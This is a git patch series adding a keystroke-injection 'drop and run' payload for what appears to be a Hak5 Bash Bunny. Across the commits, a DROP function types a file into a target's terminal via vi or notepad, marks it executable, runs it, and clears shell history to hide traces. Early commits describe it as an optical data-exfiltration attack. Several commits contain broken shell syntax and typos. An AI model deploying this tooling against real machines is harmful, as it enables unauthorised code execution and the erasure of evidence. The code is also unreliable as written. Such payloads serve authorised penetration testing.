From 31ae33e78a492b8c6b1aef3ce045ea62aeb66475 Mon Sep 17 00:00:00 2001 From: bg-wa Date: Fri, 26 Jan 2018 20:36:59 -0800 Subject: [PATCH 1/8] Start of drop file --- payloads/extensions/drop.sh | 85 +++++++++++++++++++ .../optical-exfiltration/payload.txt | 37 ++++++++ 2 files changed, 122 insertions(+) create mode 100644 payloads/extensions/drop.sh create mode 100755 payloads/library/exfiltration/optical-exfiltration/payload.txt diff --git a/payloads/extensions/drop.sh b/payloads/extensions/drop.sh new file mode 100644 index 00000000..b7a07345 --- /dev/null +++ b/payloads/extensions/drop.sh @@ -0,0 +1,85 @@ +#!/bin/bash +# +# DROP v1 by bg-wa +# Simplifies dropping files from HID attacks for various targets +# Usage: DROP [OS] [file to drop] +# +# Format: +# DROP [WIN OSX LINUX] bb_source_file.txt attack_destination_file.txt [overwrite] +# Example: +# DROP LINUX /root/udisk/payloads/$SWITCH_POSITION/source.txt ~/target_destination.txt true + + +function DROP() { + local os=$1 + local source=$2 + local destination=$3 + local overwrite=$4 + echo "start" >> "/root/udisk/debug/drop1.txt" + [[ -z "$os" || -z "$source" || -z "$destination"]] && exit 1 # OS Source and Destination parameters must be set + + case "$os" in + WIN) + QUACK GUI r + QUACK DELAY 500 + QUACK STRING "$@" + QUACK ENTER + ;; + OSX) + RUN terminal + QUACK STRING terminal + QUACK ENTER + QUACK DELAY 1000 + if $overwrite + QUACK STRING rm "$destination" + QUACK ENTER + QUACK DELAY 500 + fi + QUACK STRING vi "$destination" + QUACK ENTER + QUACK DELAY 500 + QUACK STRING i + LINUX) + echo "ok" >> "/root/udisk/debug/drop1.txt" + QUACK ALT F2 + QUACK DELAY 500 + QUACK STRING "$@" + QUACK DELAY 500 + QUACK ENTER + quack 500 + QUACK STRING terminal + QUACK ENTER + QUACK DELAY 1000 + if $overwrite + QUACK STRING rm "$destination" + QUACK ENTER + QUACK DELAY 500 + fi + QUACK STRING vi "$destination" + QUACK ENTER + QUACK DELAY 500 + QUACK STRING i + ;; + *) + # OS parameter must be one of the above + exit 1 + ;; + esac + + while IFS= read data + do + if [ "${data}" = " " ] + then + QUACK SPACE + else + QUACK STRING "$data" + fi + done < "$source" + + QUACK ESC + QUACK STRING :x + QUACK ENTER + +} + +export -f DROP diff --git a/payloads/library/exfiltration/optical-exfiltration/payload.txt b/payloads/library/exfiltration/optical-exfiltration/payload.txt new file mode 100755 index 00000000..7733ddbe --- /dev/null +++ b/payloads/library/exfiltration/optical-exfiltration/payload.txt @@ -0,0 +1,37 @@ +#!/bin/bash +# +# Title: Optical Exfiltration +# Author: bg-wa +# Version: 1.0 +# Category: HID +# Target: *NIX +# Attackmodes: HID +# Sources: Hak5 2320, https://github.com/bg-wa/QRExtractor +# +# Quick HID only attack to write an HTML/JS file to target machine +# and open a browser, to exfiltrate data Using QR Codes and a video +# recording device. +# +# | Attack Stage | Description | +# | ------------------- | ---------------------------------------- | +# | SETUP | Open vi | +# | ATTACK | Writing HTML | +# | FINISH | Browser Ready | +# + +ATTACKMODE HID +LED SETUP + +payload_dir=/root/udisk/payloads/$SWITCH_POSITION +source_html=$payload_dir/index.min.html +target_html=\~\/index.html + + +LED ATTACK + +DROP LINUX $source_html $target_html + +Q STRING firefox "$target_html" +Q ENTER + +LED FINISH \ No newline at end of file From 821105a6a3037d4e95e87ebdafb77f32a7d44714 Mon Sep 17 00:00:00 2001 From: bg-wa Date: Sat, 27 Jan 2018 00:05:57 -0800 Subject: [PATCH 2/8] Cleanup LINUX only... --- payloads/extensions/drop.sh | 76 +++++-------------- .../optical-exfiltration/payload.txt | 12 ++- 2 files changed, 23 insertions(+), 65 deletions(-) diff --git a/payloads/extensions/drop.sh b/payloads/extensions/drop.sh index b7a07345..d8341fea 100644 --- a/payloads/extensions/drop.sh +++ b/payloads/extensions/drop.sh @@ -1,70 +1,27 @@ #!/bin/bash # # DROP v1 by bg-wa -# Simplifies dropping files from HID attacks for various targets -# Usage: DROP [OS] [file to drop] +# Simplifies dropping files from HID attacks for LINUX +# Usage: DROP bb_source_file.txt attack_destination_file.txt [overwrite] # -# Format: -# DROP [WIN OSX LINUX] bb_source_file.txt attack_destination_file.txt [overwrite] # Example: -# DROP LINUX /root/udisk/payloads/$SWITCH_POSITION/source.txt ~/target_destination.txt true - +# DROP /root/udisk/payloads/$SWITCH_POSITION/source.txt ~/target_destination.txt true +source ./run.sh function DROP() { - local os=$1 local source=$2 local destination=$3 local overwrite=$4 - echo "start" >> "/root/udisk/debug/drop1.txt" - [[ -z "$os" || -z "$source" || -z "$destination"]] && exit 1 # OS Source and Destination parameters must be set + #local os= - case "$os" in - WIN) - QUACK GUI r - QUACK DELAY 500 - QUACK STRING "$@" - QUACK ENTER - ;; - OSX) - RUN terminal - QUACK STRING terminal - QUACK ENTER - QUACK DELAY 1000 - if $overwrite - QUACK STRING rm "$destination" - QUACK ENTER - QUACK DELAY 500 - fi - QUACK STRING vi "$destination" - QUACK ENTER - QUACK DELAY 500 - QUACK STRING i - LINUX) - echo "ok" >> "/root/udisk/debug/drop1.txt" - QUACK ALT F2 - QUACK DELAY 500 - QUACK STRING "$@" - QUACK DELAY 500 - QUACK ENTER - quack 500 - QUACK STRING terminal - QUACK ENTER - QUACK DELAY 1000 - if $overwrite - QUACK STRING rm "$destination" - QUACK ENTER - QUACK DELAY 500 - fi - QUACK STRING vi "$destination" - QUACK ENTER - QUACK DELAY 500 - QUACK STRING i - ;; - *) - # OS parameter must be one of the above - exit 1 - ;; - esac + ehco "start" >> "/root/udisk/payloads/${SWITCH_POSITION}/debug.txt" + RUN terminal + QUACK DELAY 1000 + QUACK STRING vi "$destination" + QUACK ENTER + QUACK DELAY 500 + QUACK STRING i + ;; while IFS= read data do @@ -77,9 +34,12 @@ function DROP() { done < "$source" QUACK ESC - QUACK STRING :x + if $overwrite + QUACK STRING :wq! + else + QUACK STRING :wq + fi QUACK ENTER - } export -f DROP diff --git a/payloads/library/exfiltration/optical-exfiltration/payload.txt b/payloads/library/exfiltration/optical-exfiltration/payload.txt index 7733ddbe..90f1b37a 100755 --- a/payloads/library/exfiltration/optical-exfiltration/payload.txt +++ b/payloads/library/exfiltration/optical-exfiltration/payload.txt @@ -22,16 +22,14 @@ ATTACKMODE HID LED SETUP -payload_dir=/root/udisk/payloads/$SWITCH_POSITION -source_html=$payload_dir/index.min.html -target_html=\~\/index.html - +source_html="/root/udisk/payloads/${SWITCH_POSITION}/index.min.html" +target_html="~/index.html" +#date_time= LED ATTACK -DROP LINUX $source_html $target_html +DROP $source_html $target_html +RUN LINUX "firefox ${target_html}" -Q STRING firefox "$target_html" Q ENTER - LED FINISH \ No newline at end of file From afdafb27d623d223fd1272a8e5eeefc4d0685f02 Mon Sep 17 00:00:00 2001 From: bg-wa Date: Sat, 27 Jan 2018 00:09:35 -0800 Subject: [PATCH 3/8] The Ol'Drop'n'Run --- payloads/library/exfiltration/optical-exfiltration/payload.txt | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/payloads/library/exfiltration/optical-exfiltration/payload.txt b/payloads/library/exfiltration/optical-exfiltration/payload.txt index 90f1b37a..580d5d1d 100755 --- a/payloads/library/exfiltration/optical-exfiltration/payload.txt +++ b/payloads/library/exfiltration/optical-exfiltration/payload.txt @@ -1,12 +1,11 @@ #!/bin/bash # -# Title: Optical Exfiltration +# Title: The Ol'Drop'n'Run # Author: bg-wa # Version: 1.0 # Category: HID # Target: *NIX # Attackmodes: HID -# Sources: Hak5 2320, https://github.com/bg-wa/QRExtractor # # Quick HID only attack to write an HTML/JS file to target machine # and open a browser, to exfiltrate data Using QR Codes and a video From 5c764849f3120147968e2c86a282b99c87e66c13 Mon Sep 17 00:00:00 2001 From: bg-wa Date: Sat, 27 Jan 2018 10:31:59 -0800 Subject: [PATCH 4/8] Check Point --- payloads/extensions/drop.sh | 3 ++- .../library/exfiltration/drop_n_run/boom.html | 14 ++++++++++++++ payloads/library/exfiltration/drop_n_run/fuse.sh | 7 +++++++ .../payload.txt | 15 +++++++++------ 4 files changed, 32 insertions(+), 7 deletions(-) create mode 100644 payloads/library/exfiltration/drop_n_run/boom.html create mode 100644 payloads/library/exfiltration/drop_n_run/fuse.sh rename payloads/library/exfiltration/{optical-exfiltration => drop_n_run}/payload.txt (62%) diff --git a/payloads/extensions/drop.sh b/payloads/extensions/drop.sh index d8341fea..e3e983c2 100644 --- a/payloads/extensions/drop.sh +++ b/payloads/extensions/drop.sh @@ -7,14 +7,15 @@ # Example: # DROP /root/udisk/payloads/$SWITCH_POSITION/source.txt ~/target_destination.txt true source ./run.sh +source ./debug.sh function DROP() { + DEBUG "drop" "start" local source=$2 local destination=$3 local overwrite=$4 #local os= - ehco "start" >> "/root/udisk/payloads/${SWITCH_POSITION}/debug.txt" RUN terminal QUACK DELAY 1000 QUACK STRING vi "$destination" diff --git a/payloads/library/exfiltration/drop_n_run/boom.html b/payloads/library/exfiltration/drop_n_run/boom.html new file mode 100644 index 00000000..56e762c5 --- /dev/null +++ b/payloads/library/exfiltration/drop_n_run/boom.html @@ -0,0 +1,14 @@ + + + + + + Boom! + + + +
+ +
+ + \ No newline at end of file diff --git a/payloads/library/exfiltration/drop_n_run/fuse.sh b/payloads/library/exfiltration/drop_n_run/fuse.sh new file mode 100644 index 00000000..3a5f850c --- /dev/null +++ b/payloads/library/exfiltration/drop_n_run/fuse.sh @@ -0,0 +1,7 @@ +#!/bin/bash + +# Get out of bed and do something productive here instead... +sleep 10 + +# Kaboom!! +firefox "~/boom.html" \ No newline at end of file diff --git a/payloads/library/exfiltration/optical-exfiltration/payload.txt b/payloads/library/exfiltration/drop_n_run/payload.txt similarity index 62% rename from payloads/library/exfiltration/optical-exfiltration/payload.txt rename to payloads/library/exfiltration/drop_n_run/payload.txt index 580d5d1d..5a70ddb9 100755 --- a/payloads/library/exfiltration/optical-exfiltration/payload.txt +++ b/payloads/library/exfiltration/drop_n_run/payload.txt @@ -14,21 +14,24 @@ # | Attack Stage | Description | # | ------------------- | ---------------------------------------- | # | SETUP | Open vi | -# | ATTACK | Writing HTML | -# | FINISH | Browser Ready | +# | ATTACK | Writing files | +# | FINISH | Payload Dropped & ran (remove the bunny) | # ATTACKMODE HID LED SETUP -source_html="/root/udisk/payloads/${SWITCH_POSITION}/index.min.html" -target_html="~/index.html" -#date_time= +source_scipt="/root/udisk/payloads/${SWITCH_POSITION}/fuse.sh" +target_script="~/fuse.sh" + +source_html="/root/udisk/payloads/${SWITCH_POSITION}/boom.html" +target_html="~/boom.html" LED ATTACK +DROP $source_script $target_script DROP $source_html $target_html -RUN LINUX "firefox ${target_html}" +RUN LINUX "${target_script}" Q ENTER LED FINISH \ No newline at end of file From b3b9f7520008d29b3d89d4a2c57c08bd9e830604 Mon Sep 17 00:00:00 2001 From: bg-wa Date: Sat, 27 Jan 2018 18:33:25 -0800 Subject: [PATCH 5/8] All Working with executable and overwite options --- payloads/extensions/drop.sh | 55 +++++++++++-------- .../library/exfiltration/drop_n_run/boom.html | 14 ----- .../library/exfiltration/drop_n_run/fuse.sh | 6 +- .../exfiltration/drop_n_run/payload.txt | 19 ++----- 4 files changed, 42 insertions(+), 52 deletions(-) delete mode 100644 payloads/library/exfiltration/drop_n_run/boom.html diff --git a/payloads/extensions/drop.sh b/payloads/extensions/drop.sh index e3e983c2..742b3aa6 100644 --- a/payloads/extensions/drop.sh +++ b/payloads/extensions/drop.sh @@ -2,44 +2,55 @@ # # DROP v1 by bg-wa # Simplifies dropping files from HID attacks for LINUX -# Usage: DROP bb_source_file.txt attack_destination_file.txt [overwrite] +# Usage: DROP bb_source_file.txt attack_destination_file.txt [overwrite: false] [executable: false] # # Example: -# DROP /root/udisk/payloads/$SWITCH_POSITION/source.txt ~/target_destination.txt true +# DROP /root/udisk/payloads/$SWITCH_POSITION/source.sh ~/target_destination.sh true true source ./run.sh -source ./debug.sh function DROP() { - DEBUG "drop" "start" - local source=$2 - local destination=$3 - local overwrite=$4 - #local os= + source=$1 + destination=$2 + overwrite=$3 + executable=$4 + #os= - RUN terminal + RUN UNITY xterm QUACK DELAY 1000 + + if "$overwrite" == "true" + then + QUACK STRING rm "$destination" + QUACK ENTER + QUACK DELAY 500 + fi QUACK STRING vi "$destination" QUACK ENTER QUACK DELAY 500 QUACK STRING i - ;; - - while IFS= read data + + while IFS= read -r data do - if [ "${data}" = " " ] - then - QUACK SPACE - else - QUACK STRING "$data" - fi + QUACK STRING "$data" + QUACK ENTER done < "$source" + QUACK DELAY 500 QUACK ESC - if $overwrite - QUACK STRING :wq! - else - QUACK STRING :wq + QUACK ENTER + QUACK STRING :wq + QUACK ENTER + + if "$executable" == "true" + then + QUACK STRING chmod +x "$destination" + QUACK ENTER + QUACK DELAY 500 fi + + QUACK STRING history -c + QUACK ENTER + QUACK STRING exit QUACK ENTER } diff --git a/payloads/library/exfiltration/drop_n_run/boom.html b/payloads/library/exfiltration/drop_n_run/boom.html deleted file mode 100644 index 56e762c5..00000000 --- a/payloads/library/exfiltration/drop_n_run/boom.html +++ /dev/null @@ -1,14 +0,0 @@ - - - - - - Boom! - - - -
- -
- - \ No newline at end of file diff --git a/payloads/library/exfiltration/drop_n_run/fuse.sh b/payloads/library/exfiltration/drop_n_run/fuse.sh index 3a5f850c..1702a827 100644 --- a/payloads/library/exfiltration/drop_n_run/fuse.sh +++ b/payloads/library/exfiltration/drop_n_run/fuse.sh @@ -1,7 +1,7 @@ #!/bin/bash -# Get out of bed and do something productive here instead... +# Wake up and do something productive here instead... sleep 10 -# Kaboom!! -firefox "~/boom.html" \ No newline at end of file +# boom!! +firefox "http://hak5.org" diff --git a/payloads/library/exfiltration/drop_n_run/payload.txt b/payloads/library/exfiltration/drop_n_run/payload.txt index 5a70ddb9..f17cb738 100755 --- a/payloads/library/exfiltration/drop_n_run/payload.txt +++ b/payloads/library/exfiltration/drop_n_run/payload.txt @@ -4,12 +4,10 @@ # Author: bg-wa # Version: 1.0 # Category: HID -# Target: *NIX +# Target: UNITY # Attackmodes: HID # -# Quick HID only attack to write an HTML/JS file to target machine -# and open a browser, to exfiltrate data Using QR Codes and a video -# recording device. +# Quick HID only attack to write a file to target machine and open # # | Attack Stage | Description | # | ------------------- | ---------------------------------------- | @@ -21,17 +19,12 @@ ATTACKMODE HID LED SETUP -source_scipt="/root/udisk/payloads/${SWITCH_POSITION}/fuse.sh" -target_script="~/fuse.sh" - -source_html="/root/udisk/payloads/${SWITCH_POSITION}/boom.html" -target_html="~/boom.html" +source_script=/root/udisk/payloads/$SWITCH_POSITION/fuse.sh +target_script=\~/fuse.sh LED ATTACK -DROP $source_script $target_script -DROP $source_html $target_html -RUN LINUX "${target_script}" +DROP $source_script $target_script true true +RUN UNITY $target_script -Q ENTER LED FINISH \ No newline at end of file From 9ab8820cc5baca8ba9e1448ac9f8b388f808c158 Mon Sep 17 00:00:00 2001 From: bg-wa Date: Sat, 27 Jan 2018 20:45:55 -0800 Subject: [PATCH 6/8] Moved payload to execution folder --- payloads/library/{exfiltration => execution}/drop_n_run/fuse.sh | 0 .../library/{exfiltration => execution}/drop_n_run/payload.txt | 0 2 files changed, 0 insertions(+), 0 deletions(-) rename payloads/library/{exfiltration => execution}/drop_n_run/fuse.sh (100%) rename payloads/library/{exfiltration => execution}/drop_n_run/payload.txt (100%) diff --git a/payloads/library/exfiltration/drop_n_run/fuse.sh b/payloads/library/execution/drop_n_run/fuse.sh similarity index 100% rename from payloads/library/exfiltration/drop_n_run/fuse.sh rename to payloads/library/execution/drop_n_run/fuse.sh diff --git a/payloads/library/exfiltration/drop_n_run/payload.txt b/payloads/library/execution/drop_n_run/payload.txt similarity index 100% rename from payloads/library/exfiltration/drop_n_run/payload.txt rename to payloads/library/execution/drop_n_run/payload.txt From 17e0b3d50cc78fad8c760916d0faa458660bda5d Mon Sep 17 00:00:00 2001 From: bg-wa Date: Tue, 13 Feb 2018 21:55:04 -0800 Subject: [PATCH 7/8] Multi-OS (Untested) --- payloads/extensions/drop.sh | 96 ++++++++++++++++++++++++++----------- 1 file changed, 69 insertions(+), 27 deletions(-) diff --git a/payloads/extensions/drop.sh b/payloads/extensions/drop.sh index 742b3aa6..7eeb9e6e 100644 --- a/payloads/extensions/drop.sh +++ b/payloads/extensions/drop.sh @@ -2,32 +2,65 @@ # # DROP v1 by bg-wa # Simplifies dropping files from HID attacks for LINUX -# Usage: DROP bb_source_file.txt attack_destination_file.txt [overwrite: false] [executable: false] +# Usage: DROP [OS] bb_source_file.txt attack_destination_file.txt [overwrite: false] [executable: false] # # Example: -# DROP /root/udisk/payloads/$SWITCH_POSITION/source.sh ~/target_destination.sh true true +# DROP UNITY /root/udisk/payloads/$SWITCH_POSITION/source.sh ~/target_destination.sh true true source ./run.sh function DROP() { - source=$1 - destination=$2 - overwrite=$3 - executable=$4 - #os= + os=$1 + source=$2 + destination=$3 + overwrite=$4 + executable=$5 + + case "$os" in + WIN) + RUN WIN powershell + ;; + OSX) + RUN OSX terminal + ;; + UNITY) + RUN UNITY terminal + ;; + LINUX) + RUN LINUX terminal + ;; + *) + RUN UNITY terminal + ;; + esac - RUN UNITY xterm QUACK DELAY 1000 if "$overwrite" == "true" then - QUACK STRING rm "$destination" + case "$os" in + WIN) + QUACK STRING del "$destination" + ;; + *) + QUACK STRING rm "$destination" + ;; + esac QUACK ENTER QUACK DELAY 500 fi - QUACK STRING vi "$destination" - QUACK ENTER - QUACK DELAY 500 - QUACK STRING i + + case "$os" in + WIN) + QUACK STRING fsutil file createnew "$destination" + RUN WIN notepad.exe "$destination" + ;; + *) + QUACK STRING vi "$destination" + QUACK ENTER + QUACK DELAY 500 + QUACK STRING i + ;; + esac while IFS= read -r data do @@ -36,22 +69,31 @@ function DROP() { done < "$source" QUACK DELAY 500 - QUACK ESC - QUACK ENTER - QUACK STRING :wq - QUACK ENTER - if "$executable" == "true" - then - QUACK STRING chmod +x "$destination" - QUACK ENTER - QUACK DELAY 500 - fi + case "$os" in + WIN) + QUACK CTRL s + QUACK CRTL x + ;; + *) + QUACK ESC + QUACK ENTER + QUACK STRING :wq + QUACK ENTER - QUACK STRING history -c - QUACK ENTER - QUACK STRING exit - QUACK ENTER + if "$executable" == "true" + then + QUACK STRING chmod +x "$destination" + QUACK ENTER + QUACK DELAY 500 + fi + + QUACK STRING history -c + QUACK ENTER + QUACK STRING exit + QUACK ENTER + ;; + esac } export -f DROP From a479964196bfedc18e9a79f41582880178e753f7 Mon Sep 17 00:00:00 2001 From: bg-wa Date: Tue, 13 Feb 2018 21:57:22 -0800 Subject: [PATCH 8/8] Win New file cleanup --- payloads/extensions/drop.sh | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/payloads/extensions/drop.sh b/payloads/extensions/drop.sh index 7eeb9e6e..228bc2d6 100644 --- a/payloads/extensions/drop.sh +++ b/payloads/extensions/drop.sh @@ -52,7 +52,11 @@ function DROP() { case "$os" in WIN) QUACK STRING fsutil file createnew "$destination" - RUN WIN notepad.exe "$destination" + QUACK ENTER + QUACK DELAY 500 + QUACK STRING notepad.exe "$destination" + QUACK ENTER + QUACK DELAY 1000 ;; *) QUACK STRING vi "$destination"